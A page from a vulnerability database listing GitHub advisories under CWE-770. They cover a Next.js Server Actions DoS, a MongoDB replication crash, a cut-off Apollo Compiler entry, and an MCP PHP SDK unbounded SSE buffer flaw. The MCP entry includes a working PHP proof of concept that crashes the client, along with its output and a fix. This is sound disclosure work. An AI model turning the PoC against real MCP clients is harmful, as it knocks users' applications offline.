CWE-770
AllowedAllocation of Resources Without Limits or Throttling
Abstraction: Base · Status: Incomplete
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
3627 vulnerabilities reference this CWE, most recent first.
GHSA-7M27-7GHC-44W9
Vulnerability from github – Published: 2025-01-03 20:19 – Updated: 2025-01-03 21:48Impact
A Denial of Service (DoS) attack allows attackers to construct requests that leaves requests to Server Actions hanging until the hosting provider cancels the function execution.
Note: Next.js server is idle during that time and only keeps the connection open. CPU and memory footprint are low during that time.
Deployments without any protection against long running Server Action invocations are especially vulnerable. Hosting providers like Vercel or Netlify set a default maximum duration on function execution to reduce the risk of excessive billing.
This is the same issue as if the incoming HTTP request has an invalid Content-Length header or never closes. If the host has no other mitigations to those then this vulnerability is novel.
This vulnerability affects only Next.js deployments using Server Actions.
Patches
This vulnerability was resolved in Next.js 14.2.21, 15.1.2, and 13.5.8. We recommend that users upgrade to a safe version.
Workarounds
There are no official workarounds for this vulnerability.
Credits
Thanks to the PackDraw team for responsibly disclosing this vulnerability.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "next"
},
"ranges": [
{
"events": [
{
"introduced": "13.0.0"
},
{
"fixed": "13.5.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "next"
},
"ranges": [
{
"events": [
{
"introduced": "14.0.0"
},
{
"fixed": "14.2.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "next"
},
"ranges": [
{
"events": [
{
"introduced": "15.0.0"
},
{
"fixed": "15.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-56332"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-01-03T20:19:29Z",
"nvd_published_at": "2025-01-03T21:15:13Z",
"severity": "MODERATE"
},
"details": "### Impact\nA Denial of Service (DoS) attack allows attackers to construct requests that leaves requests to Server Actions hanging until the hosting provider cancels the function execution.\n\n_Note: Next.js server is idle during that time and only keeps the connection open. CPU and memory footprint are low during that time._\n\nDeployments without any protection against long running Server Action invocations are especially vulnerable. Hosting providers like Vercel or Netlify set a default maximum duration on function execution to reduce the risk of excessive billing.\n\nThis is the same issue as if the incoming HTTP request has an invalid `Content-Length` header or never closes. If the host has no other mitigations to those then this vulnerability is novel.\n\nThis vulnerability affects only Next.js deployments using Server Actions.\n\n### Patches\n\nThis vulnerability was resolved in Next.js 14.2.21, 15.1.2, and 13.5.8. We recommend that users upgrade to a safe version.\n\n### Workarounds\n\nThere are no official workarounds for this vulnerability.\n\n### Credits\n\nThanks to the PackDraw team for responsibly disclosing this vulnerability.",
"id": "GHSA-7m27-7ghc-44w9",
"modified": "2025-01-03T21:48:13Z",
"published": "2025-01-03T20:19:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vercel/next.js/security/advisories/GHSA-7m27-7ghc-44w9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56332"
},
{
"type": "PACKAGE",
"url": "https://github.com/vercel/next.js"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Next.js Allows a Denial of Service (DoS) with Server Actions"
}
GHSA-7M52-JW36-44R3
Vulnerability from github – Published: 2026-08-19 19:17 – Updated: 2026-08-19 19:17Summary
The HTTP client transport in mcp/sdk reads a Server-Sent-Events (SSE) response
stream incrementally and appends each 4 KiB chunk to an in-memory buffer
($this->sseBuffer .= $chunk;) with no upper bound. The buffer is only ever
flushed when an SSE event delimiter ("\n\n") appears. A remote MCP server (the
peer the client connects to) that streams response bytes without ever sending the
"\n\n" delimiter makes $sseBuffer grow without limit until the client process
exhausts its PHP memory_limit (fatal "Allowed memory size … exhausted") or is
killed by the OS OOM-killer.
This is a denial-of-service against the MCP client: any server it talks to — or a network position that controls the server's response body — can crash the client by withholding the event delimiter while streaming data.
Impact
- Type: Denial of service (memory exhaustion / process crash) of the MCP client.
- Who can trigger it: The remote MCP server endpoint the client connects to via
HttpTransport, or any party that can control/inject into that server's SSE response body (e.g. a man-in-the-middle on a plaintext endpoint, or a malicious or compromised server). The buffer growth happens while the transport is reading the response stream, before a complete event is ever parsed. - Effect: A response stream of N bytes containing no
"\n\n"drives the client's resident buffer to track N. A few hundred MB of delimiter-free data is enough to kill a client running with a typicalmemory_limit. - Severity (suggested, maintainer to confirm): High — a remote server can reliably crash a connected client over the HTTP/SSE transport.
How input reaches the sink (reachability)
- A client connects to a server over the HTTP transport by constructing
Mcp\Client\Transport\HttpTransportwith the server endpoint URL, then runs the connect/request loop. - The transport's loop calls
tick()(line 182), which callsprocessSSEStream()(line 194) on each iteration. processSSEStream()reads up to 4096 bytes from the active SSE stream and appends them to$this->sseBuffer(line 203).- The buffer is only drained inside the
while (false !== ($pos = strpos($this->sseBuffer, "\n\n")))loop (line 207). If the server never emits"\n\n", thestrposnever matches, the buffer is never flushed, and it grows on everytick()until OOM.
Vulnerable code
src/Client/Transport/HttpTransport.php (v0.5.0):
private string $sseBuffer = '';
private function processSSEStream(): void
{
if (null === $this->activeStream) {
return;
}
if (!$this->activeStream->eof()) {
$chunk = $this->activeStream->read(4096);
if ('' !== $chunk) {
$this->sseBuffer .= $chunk; // line 203 — unbounded append
}
}
while (false !== ($pos = strpos($this->sseBuffer, "\n\n"))) {
$event = substr($this->sseBuffer, 0, $pos);
$this->sseBuffer = substr($this->sseBuffer, $pos + 2);
if (!empty(trim($event))) {
$this->processSSEEvent($event);
}
}
if ($this->activeStream->eof() && empty($this->sseBuffer)) {
$this->activeStream = null;
}
}
$this->sseBuffer .= $chunk; has no length guard; the drain loop only fires when a
"\n\n" delimiter is present.
Proof of concept / End-to-end reproduction (against the released composer package)
Environment: macOS arm64, PHP 8.5.6 (cli), Composer 2.9.8. The package under test
is the real published release mcp/sdk v0.5.0 (the version that introduced this
HTTP client transport), installed from Packagist — not a re-implementation of the
sink.
Install the released package:
$ composer require mcp/sdk:0.5.0 --no-interaction
- Installing mcp/sdk (v0.5.0): Extracting archive
$ composer show mcp/sdk
name : mcp/sdk
versions : * v0.5.0
PoC driver (poc_sse.php). It exercises the unmodified released
processSSEStream(); the ProbeHttp subclass uses reflection only to inject the
active SSE stream and to invoke the inherited private method — no transport logic
is overridden. FloodStream is a real PSR-7 StreamInterface that yields a large
body (4096 bytes per read()) that never contains "\n\n", mirroring an
adversarial SSE server response. The null PSR-18/17 stubs only satisfy the
constructor; the sink reads exclusively from the injected stream and never touches
the HTTP client:
<?php
require __DIR__ . '/vendor/autoload.php';
use Mcp\Client\Transport\HttpTransport;
use Psr\Http\Message\StreamInterface;
use Psr\Http\Client\ClientInterface;
use Psr\Http\Message\RequestFactoryInterface;
use Psr\Http\Message\StreamFactoryInterface;
use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;
final class FloodStream implements StreamInterface {
private int $served = 0;
public function __construct(private int $total) {}
public function read(int $length): string {
if ($this->served >= $this->total) return '';
$n = min($length, $this->total - $this->served);
$this->served += $n;
return str_repeat('A', $n); // never contains "\n\n"
}
public function eof(): bool { return $this->served >= $this->total; }
public function __toString(): string { return ''; }
public function close(): void {}
public function detach() { return null; }
public function getSize(): ?int { return $this->total; }
public function tell(): int { return $this->served; }
public function isSeekable(): bool { return false; }
public function seek(int $o, int $w = SEEK_SET): void {}
public function rewind(): void {}
public function isWritable(): bool { return false; }
public function write(string $s): int { return 0; }
public function isReadable(): bool { return true; }
public function getContents(): string { return ''; }
public function getMetadata(?string $key = null) { return null; }
}
final class NullHttpClient implements ClientInterface {
public function sendRequest(RequestInterface $request): ResponseInterface { throw new \RuntimeException('not used'); }
}
final class NullRequestFactory implements RequestFactoryInterface {
public function createRequest(string $method, $uri): RequestInterface { throw new \RuntimeException('not used'); }
}
final class NullStreamFactory implements StreamFactoryInterface {
public function createStream(string $content = ''): StreamInterface { throw new \RuntimeException('not used'); }
public function createStreamFromFile(string $filename, string $mode = 'r'): StreamInterface { throw new \RuntimeException('not used'); }
public function createStreamFromResource($resource): StreamInterface { throw new \RuntimeException('not used'); }
}
final class ProbeHttp extends HttpTransport {
public function inject(StreamInterface $s): void {
(new ReflectionProperty(HttpTransport::class, 'activeStream'))->setValue($this, $s);
}
public function pump(): void {
(new ReflectionMethod(HttpTransport::class, 'processSSEStream'))->invoke($this);
}
}
function fmtMB(int $b): string { return number_format($b/1048576,1).' MB'; }
$mode = $argv[1] ?? 'attack';
$t = new ProbeHttp('http://127.0.0.1:9/mcp', [], new NullHttpClient(), new NullRequestFactory(), new NullStreamFactory());
if ($mode === 'control') {
$body = '';
for ($i=0;$i<1000;$i++) $body .= "event: message\ndata: {\"jsonrpc\":\"2.0\",\"id\":$i}\n\n";
$tmp = fopen('php://temp','r+'); fwrite($tmp,$body); rewind($tmp);
$t->inject(new FloodStream(0)); // replaced below by a real stream over $tmp
$stream = new class($tmp) implements StreamInterface {
public function __construct(private $h) {}
public function read(int $l): string { return (string) fread($this->h, $l); }
public function eof(): bool { return feof($this->h); }
public function __toString(): string { return ''; }
public function close(): void {}
public function detach() { return null; }
public function getSize(): ?int { return null; }
public function tell(): int { return 0; }
public function isSeekable(): bool { return false; }
public function seek(int $o,int $w=SEEK_SET): void {}
public function rewind(): void {}
public function isWritable(): bool { return false; }
public function write(string $s): int { return 0; }
public function isReadable(): bool { return true; }
public function getContents(): string { return ''; }
public function getMetadata(?string $k=null) { return null; }
};
$t->inject($stream);
$before = memory_get_usage(true);
for ($i=0;$i<5000 && !$stream->eof();$i++) $t->pump();
fwrite(STDERR,"[control] events fed : 1000 well-formed SSE events (delimited by \\n\\n)\n");
fwrite(STDERR,"[control] mem before : ".fmtMB($before)."\n");
fwrite(STDERR,"[control] mem after : ".fmtMB(memory_get_usage(true))."\n");
fwrite(STDERR,"[control] RESULT : bounded, no OOM (each event flushed on \\n\\n)\n");
exit(0);
}
ini_set('memory_limit','256M');
$SIZE = 400*1024*1024; // 400MB SSE body, NO "\n\n"
$t->inject(new FloodStream($SIZE));
fwrite(STDERR,"[attack] SSE body : ".fmtMB($SIZE)." with NO \\n\\n delimiter\n");
fwrite(STDERR,"[attack] memory_limit : ".ini_get('memory_limit')."\n");
fwrite(STDERR,"[attack] mem before : ".fmtMB(memory_get_usage(true))."\n");
register_shutdown_function(function() {
$err = error_get_last();
fwrite(STDERR,"[attack] peak mem : ".number_format(memory_get_peak_usage(true)/1048576,1)." MB\n");
if ($err && stripos($err['message'],'memory')!==false)
fwrite(STDERR,"[attack] RESULT : OOM — ".trim($err['message'])."\n");
});
for ($i=0;;$i++) { $t->pump(); } // each pump reads one 4096 chunk -> sseBuffer
Negative control — 1000 well-formed SSE events delimited by "\n\n": each pump
flushes complete events, the buffer drains, memory stays flat:
$ php poc_sse.php control
[control] events fed : 1000 well-formed SSE events (delimited by \n\n)
[control] mem before : 2.0 MB
[control] mem after : 2.0 MB
[control] RESULT : bounded, no OOM (each event flushed on \n\n)
Attack — a 400 MB SSE body with no "\n\n", client heap capped at 256 MB to make
the crash deterministic (a production client has a larger or unbounded limit and
is killed by the OS at whatever ceiling exists):
$ php poc_sse.php attack
[attack] SSE body : 400.0 MB with NO \n\n delimiter
[attack] memory_limit : 256M
[attack] mem before : 2.0 MB
PHP Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 264241184 bytes) in /private/tmp/work/vendor/mcp/sdk/src/Client/Transport/HttpTransport.php on line 203
Stack trace:
#0 [internal function]: Mcp\Client\Transport\HttpTransport->processSSEStream()
#1 /private/tmp/work/poc_sse.php(69): ReflectionMethod->invoke(Object(ProbeHttp))
#2 /private/tmp/work/poc_sse.php(129): ProbeHttp->pump()
#3 {main}
[attack] peak mem : 256.0 MB
[attack] RESULT : OOM — Allowed memory size of 268435456 bytes exhausted (tried to allocate 264241184 bytes)
The fatal error lands on the released vendor file
vendor/mcp/sdk/src/Client/Transport/HttpTransport.php line 203, inside
processSSEStream(), while the delimiter-respecting control workload stays at
2.0 MB. This confirms the unbounded SSE accumulation on the real released package.
Suggested fix
Bound the SSE buffer length and reject (or abort the stream) when it exceeds a configured maximum, so a server cannot force unbounded growth before a complete event arrives. For example:
private const MAX_SSE_BUFFER_BYTES = 8 * 1024 * 1024; // 8 MiB, configurable
private function processSSEStream(): void
{
if (null === $this->activeStream) {
return;
}
if (!$this->activeStream->eof()) {
$chunk = $this->activeStream->read(4096);
if ('' !== $chunk) {
if (\strlen($this->sseBuffer) + \strlen($chunk) > self::MAX_SSE_BUFFER_BYTES) {
$this->sseBuffer = '';
$this->activeStream = null;
$this->logger->warning('Aborting SSE stream: buffer exceeded maximum size without a complete event.', [
'max_sse_buffer_bytes' => self::MAX_SSE_BUFFER_BYTES,
]);
return;
}
$this->sseBuffer .= $chunk;
}
}
while (false !== ($pos = strpos($this->sseBuffer, "\n\n"))) {
$event = substr($this->sseBuffer, 0, $pos);
$this->sseBuffer = substr($this->sseBuffer, $pos + 2);
if (!empty(trim($event))) {
$this->processSSEEvent($event);
}
}
if ($this->activeStream->eof() && empty($this->sseBuffer)) {
$this->activeStream = null;
}
}
The cap value and the over-limit policy (abort vs. error) are the maintainers' call. A fix PR against a private fork of the advisory workspace accompanies this report.
Fix PR
A patch bounding the SSE buffer is provided as a pull request against the private temporary fork created for this advisory (the GHSA workspace fork). Details and link are added to this advisory's thread once the private fork PR is opened. The patch keeps the SSE event-parsing behaviour unchanged and only caps the buffer.
Credit
Reported by tonghuaroot.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "mcp/sdk"
},
"ranges": [
{
"events": [
{
"introduced": "0.5.0"
},
{
"fixed": "0.7.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53965"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-19T19:17:49Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe HTTP client transport in `mcp/sdk` reads a Server-Sent-Events (SSE) response\nstream incrementally and appends each 4 KiB chunk to an in-memory buffer\n(`$this-\u003esseBuffer .= $chunk;`) with **no upper bound**. The buffer is only ever\nflushed when an SSE event delimiter (`\"\\n\\n\"`) appears. A remote MCP server (the\npeer the client connects to) that streams response bytes without ever sending the\n`\"\\n\\n\"` delimiter makes `$sseBuffer` grow without limit until the client process\nexhausts its PHP `memory_limit` (fatal \"Allowed memory size \u2026 exhausted\") or is\nkilled by the OS OOM-killer.\n\nThis is a denial-of-service against the MCP **client**: any server it talks to \u2014\nor a network position that controls the server\u0027s response body \u2014 can crash the\nclient by withholding the event delimiter while streaming data.\n\n## Impact\n\n- **Type:** Denial of service (memory exhaustion / process crash) of the MCP client.\n- **Who can trigger it:** The remote MCP server endpoint the client connects to via\n `HttpTransport`, or any party that can control/inject into that server\u0027s SSE\n response body (e.g. a man-in-the-middle on a plaintext endpoint, or a malicious\n or compromised server). The buffer growth happens while the transport is reading\n the response stream, before a complete event is ever parsed.\n- **Effect:** A response stream of N bytes containing no `\"\\n\\n\"` drives the client\u0027s\n resident buffer to track N. A few hundred MB of delimiter-free data is enough to\n kill a client running with a typical `memory_limit`.\n- **Severity (suggested, maintainer to confirm):** High \u2014 a remote server can\n reliably crash a connected client over the HTTP/SSE transport.\n\n## How input reaches the sink (reachability)\n\n1. A client connects to a server over the HTTP transport by constructing\n `Mcp\\Client\\Transport\\HttpTransport` with the server endpoint URL, then runs\n the connect/request loop.\n2. The transport\u0027s loop calls `tick()` (line 182), which calls\n `processSSEStream()` (line 194) on each iteration.\n3. `processSSEStream()` reads up to 4096 bytes from the active SSE stream and\n appends them to `$this-\u003esseBuffer` (line 203).\n4. The buffer is only drained inside the `while (false !== ($pos = strpos($this-\u003esseBuffer, \"\\n\\n\")))`\n loop (line 207). If the server never emits `\"\\n\\n\"`, the `strpos` never matches,\n the buffer is never flushed, and it grows on every `tick()` until OOM.\n\n## Vulnerable code\n\n`src/Client/Transport/HttpTransport.php` (v0.5.0):\n\n```php\n private string $sseBuffer = \u0027\u0027;\n```\n\n```php\n private function processSSEStream(): void\n {\n if (null === $this-\u003eactiveStream) {\n return;\n }\n\n if (!$this-\u003eactiveStream-\u003eeof()) {\n $chunk = $this-\u003eactiveStream-\u003eread(4096);\n if (\u0027\u0027 !== $chunk) {\n $this-\u003esseBuffer .= $chunk; // line 203 \u2014 unbounded append\n }\n }\n\n while (false !== ($pos = strpos($this-\u003esseBuffer, \"\\n\\n\"))) {\n $event = substr($this-\u003esseBuffer, 0, $pos);\n $this-\u003esseBuffer = substr($this-\u003esseBuffer, $pos + 2);\n\n if (!empty(trim($event))) {\n $this-\u003eprocessSSEEvent($event);\n }\n }\n\n if ($this-\u003eactiveStream-\u003eeof() \u0026\u0026 empty($this-\u003esseBuffer)) {\n $this-\u003eactiveStream = null;\n }\n }\n```\n\n`$this-\u003esseBuffer .= $chunk;` has no length guard; the drain loop only fires when a\n`\"\\n\\n\"` delimiter is present.\n\n## Proof of concept / End-to-end reproduction (against the released composer package)\n\nEnvironment: macOS arm64, PHP 8.5.6 (cli), Composer 2.9.8. The package under test\nis the real published release `mcp/sdk v0.5.0` (the version that introduced this\nHTTP client transport), installed from Packagist \u2014 not a re-implementation of the\nsink.\n\nInstall the released package:\n\n```\n$ composer require mcp/sdk:0.5.0 --no-interaction\n - Installing mcp/sdk (v0.5.0): Extracting archive\n$ composer show mcp/sdk\nname : mcp/sdk\nversions : * v0.5.0\n```\n\nPoC driver (`poc_sse.php`). It exercises the **unmodified** released\n`processSSEStream()`; the `ProbeHttp` subclass uses reflection only to inject the\nactive SSE stream and to invoke the inherited private method \u2014 no transport logic\nis overridden. `FloodStream` is a real PSR-7 `StreamInterface` that yields a large\nbody (4096 bytes per `read()`) that never contains `\"\\n\\n\"`, mirroring an\nadversarial SSE server response. The null PSR-18/17 stubs only satisfy the\nconstructor; the sink reads exclusively from the injected stream and never touches\nthe HTTP client:\n\n```php\n\u003c?php\nrequire __DIR__ . \u0027/vendor/autoload.php\u0027;\nuse Mcp\\Client\\Transport\\HttpTransport;\nuse Psr\\Http\\Message\\StreamInterface;\nuse Psr\\Http\\Client\\ClientInterface;\nuse Psr\\Http\\Message\\RequestFactoryInterface;\nuse Psr\\Http\\Message\\StreamFactoryInterface;\nuse Psr\\Http\\Message\\RequestInterface;\nuse Psr\\Http\\Message\\ResponseInterface;\n\nfinal class FloodStream implements StreamInterface {\n private int $served = 0;\n public function __construct(private int $total) {}\n public function read(int $length): string {\n if ($this-\u003eserved \u003e= $this-\u003etotal) return \u0027\u0027;\n $n = min($length, $this-\u003etotal - $this-\u003eserved);\n $this-\u003eserved += $n;\n return str_repeat(\u0027A\u0027, $n); // never contains \"\\n\\n\"\n }\n public function eof(): bool { return $this-\u003eserved \u003e= $this-\u003etotal; }\n public function __toString(): string { return \u0027\u0027; }\n public function close(): void {}\n public function detach() { return null; }\n public function getSize(): ?int { return $this-\u003etotal; }\n public function tell(): int { return $this-\u003eserved; }\n public function isSeekable(): bool { return false; }\n public function seek(int $o, int $w = SEEK_SET): void {}\n public function rewind(): void {}\n public function isWritable(): bool { return false; }\n public function write(string $s): int { return 0; }\n public function isReadable(): bool { return true; }\n public function getContents(): string { return \u0027\u0027; }\n public function getMetadata(?string $key = null) { return null; }\n}\nfinal class NullHttpClient implements ClientInterface {\n public function sendRequest(RequestInterface $request): ResponseInterface { throw new \\RuntimeException(\u0027not used\u0027); }\n}\nfinal class NullRequestFactory implements RequestFactoryInterface {\n public function createRequest(string $method, $uri): RequestInterface { throw new \\RuntimeException(\u0027not used\u0027); }\n}\nfinal class NullStreamFactory implements StreamFactoryInterface {\n public function createStream(string $content = \u0027\u0027): StreamInterface { throw new \\RuntimeException(\u0027not used\u0027); }\n public function createStreamFromFile(string $filename, string $mode = \u0027r\u0027): StreamInterface { throw new \\RuntimeException(\u0027not used\u0027); }\n public function createStreamFromResource($resource): StreamInterface { throw new \\RuntimeException(\u0027not used\u0027); }\n}\nfinal class ProbeHttp extends HttpTransport {\n public function inject(StreamInterface $s): void {\n (new ReflectionProperty(HttpTransport::class, \u0027activeStream\u0027))-\u003esetValue($this, $s);\n }\n public function pump(): void {\n (new ReflectionMethod(HttpTransport::class, \u0027processSSEStream\u0027))-\u003einvoke($this);\n }\n}\nfunction fmtMB(int $b): string { return number_format($b/1048576,1).\u0027 MB\u0027; }\n$mode = $argv[1] ?? \u0027attack\u0027;\n$t = new ProbeHttp(\u0027http://127.0.0.1:9/mcp\u0027, [], new NullHttpClient(), new NullRequestFactory(), new NullStreamFactory());\n\nif ($mode === \u0027control\u0027) {\n $body = \u0027\u0027;\n for ($i=0;$i\u003c1000;$i++) $body .= \"event: message\\ndata: {\\\"jsonrpc\\\":\\\"2.0\\\",\\\"id\\\":$i}\\n\\n\";\n $tmp = fopen(\u0027php://temp\u0027,\u0027r+\u0027); fwrite($tmp,$body); rewind($tmp);\n $t-\u003einject(new FloodStream(0)); // replaced below by a real stream over $tmp\n $stream = new class($tmp) implements StreamInterface {\n public function __construct(private $h) {}\n public function read(int $l): string { return (string) fread($this-\u003eh, $l); }\n public function eof(): bool { return feof($this-\u003eh); }\n public function __toString(): string { return \u0027\u0027; }\n public function close(): void {}\n public function detach() { return null; }\n public function getSize(): ?int { return null; }\n public function tell(): int { return 0; }\n public function isSeekable(): bool { return false; }\n public function seek(int $o,int $w=SEEK_SET): void {}\n public function rewind(): void {}\n public function isWritable(): bool { return false; }\n public function write(string $s): int { return 0; }\n public function isReadable(): bool { return true; }\n public function getContents(): string { return \u0027\u0027; }\n public function getMetadata(?string $k=null) { return null; }\n };\n $t-\u003einject($stream);\n $before = memory_get_usage(true);\n for ($i=0;$i\u003c5000 \u0026\u0026 !$stream-\u003eeof();$i++) $t-\u003epump();\n fwrite(STDERR,\"[control] events fed : 1000 well-formed SSE events (delimited by \\\\n\\\\n)\\n\");\n fwrite(STDERR,\"[control] mem before : \".fmtMB($before).\"\\n\");\n fwrite(STDERR,\"[control] mem after : \".fmtMB(memory_get_usage(true)).\"\\n\");\n fwrite(STDERR,\"[control] RESULT : bounded, no OOM (each event flushed on \\\\n\\\\n)\\n\");\n exit(0);\n}\n\nini_set(\u0027memory_limit\u0027,\u0027256M\u0027);\n$SIZE = 400*1024*1024; // 400MB SSE body, NO \"\\n\\n\"\n$t-\u003einject(new FloodStream($SIZE));\nfwrite(STDERR,\"[attack] SSE body : \".fmtMB($SIZE).\" with NO \\\\n\\\\n delimiter\\n\");\nfwrite(STDERR,\"[attack] memory_limit : \".ini_get(\u0027memory_limit\u0027).\"\\n\");\nfwrite(STDERR,\"[attack] mem before : \".fmtMB(memory_get_usage(true)).\"\\n\");\nregister_shutdown_function(function() {\n $err = error_get_last();\n fwrite(STDERR,\"[attack] peak mem : \".number_format(memory_get_peak_usage(true)/1048576,1).\" MB\\n\");\n if ($err \u0026\u0026 stripos($err[\u0027message\u0027],\u0027memory\u0027)!==false)\n fwrite(STDERR,\"[attack] RESULT : OOM \u2014 \".trim($err[\u0027message\u0027]).\"\\n\");\n});\nfor ($i=0;;$i++) { $t-\u003epump(); } // each pump reads one 4096 chunk -\u003e sseBuffer\n```\n\nNegative control \u2014 1000 well-formed SSE events delimited by `\"\\n\\n\"`: each pump\nflushes complete events, the buffer drains, memory stays flat:\n\n```\n$ php poc_sse.php control\n[control] events fed : 1000 well-formed SSE events (delimited by \\n\\n)\n[control] mem before : 2.0 MB\n[control] mem after : 2.0 MB\n[control] RESULT : bounded, no OOM (each event flushed on \\n\\n)\n```\n\nAttack \u2014 a 400 MB SSE body with no `\"\\n\\n\"`, client heap capped at 256 MB to make\nthe crash deterministic (a production client has a larger or unbounded limit and\nis killed by the OS at whatever ceiling exists):\n\n```\n$ php poc_sse.php attack\n[attack] SSE body : 400.0 MB with NO \\n\\n delimiter\n[attack] memory_limit : 256M\n[attack] mem before : 2.0 MB\nPHP Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 264241184 bytes) in /private/tmp/work/vendor/mcp/sdk/src/Client/Transport/HttpTransport.php on line 203\nStack trace:\n#0 [internal function]: Mcp\\Client\\Transport\\HttpTransport-\u003eprocessSSEStream()\n#1 /private/tmp/work/poc_sse.php(69): ReflectionMethod-\u003einvoke(Object(ProbeHttp))\n#2 /private/tmp/work/poc_sse.php(129): ProbeHttp-\u003epump()\n#3 {main}\n[attack] peak mem : 256.0 MB\n[attack] RESULT : OOM \u2014 Allowed memory size of 268435456 bytes exhausted (tried to allocate 264241184 bytes)\n```\n\nThe fatal error lands on the released vendor file\n`vendor/mcp/sdk/src/Client/Transport/HttpTransport.php` line 203, inside\n`processSSEStream()`, while the delimiter-respecting control workload stays at\n2.0 MB. This confirms the unbounded SSE accumulation on the real released package.\n\n## Suggested fix\n\nBound the SSE buffer length and reject (or abort the stream) when it exceeds a\nconfigured maximum, so a server cannot force unbounded growth before a complete\nevent arrives. For example:\n\n```php\nprivate const MAX_SSE_BUFFER_BYTES = 8 * 1024 * 1024; // 8 MiB, configurable\n\nprivate function processSSEStream(): void\n{\n if (null === $this-\u003eactiveStream) {\n return;\n }\n\n if (!$this-\u003eactiveStream-\u003eeof()) {\n $chunk = $this-\u003eactiveStream-\u003eread(4096);\n if (\u0027\u0027 !== $chunk) {\n if (\\strlen($this-\u003esseBuffer) + \\strlen($chunk) \u003e self::MAX_SSE_BUFFER_BYTES) {\n $this-\u003esseBuffer = \u0027\u0027;\n $this-\u003eactiveStream = null;\n $this-\u003elogger-\u003ewarning(\u0027Aborting SSE stream: buffer exceeded maximum size without a complete event.\u0027, [\n \u0027max_sse_buffer_bytes\u0027 =\u003e self::MAX_SSE_BUFFER_BYTES,\n ]);\n\n return;\n }\n $this-\u003esseBuffer .= $chunk;\n }\n }\n\n while (false !== ($pos = strpos($this-\u003esseBuffer, \"\\n\\n\"))) {\n $event = substr($this-\u003esseBuffer, 0, $pos);\n $this-\u003esseBuffer = substr($this-\u003esseBuffer, $pos + 2);\n\n if (!empty(trim($event))) {\n $this-\u003eprocessSSEEvent($event);\n }\n }\n\n if ($this-\u003eactiveStream-\u003eeof() \u0026\u0026 empty($this-\u003esseBuffer)) {\n $this-\u003eactiveStream = null;\n }\n}\n```\n\nThe cap value and the over-limit policy (abort vs. error) are the maintainers\u0027\ncall. A fix PR against a private fork of the advisory workspace accompanies this\nreport.\n\n## Fix PR\n\nA patch bounding the SSE buffer is provided as a pull request against the private\ntemporary fork created for this advisory (the GHSA workspace fork). Details and\nlink are added to this advisory\u0027s thread once the private fork PR is opened. The\npatch keeps the SSE event-parsing behaviour unchanged and only caps the buffer.\n\n## Credit\n\nReported by tonghuaroot.",
"id": "GHSA-7m52-jw36-44r3",
"modified": "2026-08-19T19:17:50Z",
"published": "2026-08-19T19:17:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/modelcontextprotocol/php-sdk/security/advisories/GHSA-7m52-jw36-44r3"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/mcp/sdk/CVE-2026-53965.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/modelcontextprotocol/php-sdk"
},
{
"type": "WEB",
"url": "https://github.com/modelcontextprotocol/php-sdk/releases/tag/v0.7.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "MCP PHP SDK: client HttpTransport SSE buffer (sseBuffer .= chunk) grows unbounded when server withholds the event delimiter"
}
GHSA-7M7C-8M4Q-HV3M
Vulnerability from github – Published: 2026-02-10 21:31 – Updated: 2026-02-10 21:31Inserting certain large documents into a replica set could lead to replica set secondaries not being able to fetch the oplog from the primary. This could stall replication inside the replica set leading to server crash.
{
"affected": [],
"aliases": [
"CVE-2026-1847"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-10T19:15:51Z",
"severity": "HIGH"
},
"details": "Inserting certain large documents into a replica set could lead to replica set secondaries not being able to fetch the oplog from the primary. This could stall replication inside the replica set leading to server crash.",
"id": "GHSA-7m7c-8m4q-hv3m",
"modified": "2026-02-10T21:31:29Z",
"published": "2026-02-10T21:31:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1847"
},
{
"type": "WEB",
"url": "https://jira.mongodb.org/browse/SERVER-113532"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-7MPV-9XG6-5R79
Vulnerability from github – Published: 2025-04-07 19:09 – Updated: 2025-04-08 17:49Impact
Summary
A vulnerability in Apollo Compiler allowed queries with deeply nested and reused named fragments to be prohibitively expensive to validate. This could lead to excessive resource consumption and denial of service in applications.
Details
Named fragments were being processed once per fragment spread in some cases during query validation, leading to exponential resource usage when deeply nested and reused fragments were involved.
Fix/Mitigation
